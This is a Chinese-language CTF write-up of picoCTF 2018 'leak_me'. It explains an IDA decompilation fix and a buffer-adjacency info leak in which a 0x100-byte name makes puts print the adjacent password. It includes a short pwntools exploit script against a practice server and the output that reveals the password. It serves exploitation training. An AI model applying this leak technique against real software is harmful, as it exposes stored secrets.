0%

picoctf_2018_leak_me详解

虽然很简单,但好像第一次碰见这样的题,所以记录下。

反汇编问题

问题:main函数f5的时候报如下错误

image-20210501234336628

解决:

  1. 找到报错的地址:0x8048705【按g输入地址即可】

    image-20210501234523311

  2. 双击函数,然后f5

    image-20210501234614572

  3. 然后就可以正常了

程序流程

  1. 输入name
  2. 打印name
  3. 输入password
  4. 比较输入password和password
  5. 相同打印flag

image-20210501234815805

漏洞利用

由于name和password是紧挨着的,而且差距0x100。

如果name的长度为0x100,那么puts输出name的时候,就会把password一起带出来了。

而且name的最大长度可以达到0x100,故首先令name=0x100,即可泄露password,接着就可以得到flag了。

image-20210501234915134

获得password

1
2
3
4
5
6
7
8
from pwn import *
p = remote("node3.buuoj.cn",26105)
p.recvuntil("name?")
p.sendline("a"*0x100)
# password = "a_reAllY_s3cuRe_p4s$word_f85406"
# p.sendline(password)
p.recv()
p.interactive()
1
2
3
4
[*] Switching to interactive mode
Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,a_reAllY_s3cuRe_p4s$word_f85406

Incorrect Password!

完整exp

1
2
3
4
5
6
7
8
from pwn import *
p = remote("node3.buuoj.cn",26105)
p.recvuntil("name?")
p.sendline("a"*0x100)
# password = "a_reAllY_s3cuRe_p4s$word_f85406"
# p.sendline(password)
p.recv()
p.interactive()

下载

附件

Q:如果阅读本文需要付费,你是否愿意为此支付1元?